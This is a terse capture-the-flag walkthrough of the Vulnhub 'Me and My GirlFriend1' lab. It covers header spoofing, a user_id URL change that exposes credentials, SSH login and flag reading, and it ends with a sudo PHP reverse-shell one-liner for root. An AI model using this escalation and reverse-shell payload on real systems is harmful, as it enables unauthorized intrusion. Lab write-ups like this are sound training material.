Me and My GirlFriend1 (Vulnhub)


root@kali:~/Downloads# nmap -A

Now on browser try to access the ip on port 80.

Now again try to access

And we can see the x-forward header in request.

And we get

We have to see the URL

Try to change

User_id=5 (

We get

We can get the cred

Username : alice

Password : 4lic3

Now we like to go for shell

root@kali:~/Downloads# ssh alice@

Now proceed further

alice@gfriEND:~$ ls –la

alice@gfriEND:~$ cd .my_secret/

alice@gfriEND:~/.my_secret$ ls –la

alice@gfriEND:~/.my_secret$ cat flag1.txt

alice@gfriEND:~/.my_secret$ cat my_notes.txt

Now we like to go to privilege level

alice@gfriEND:~/.my_secret$ sudo –l

alice@gfriEND:~/.my_secret$ sudo /usr/bin/php -r ‘$sock=fsockopen(“”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);’

We get the shell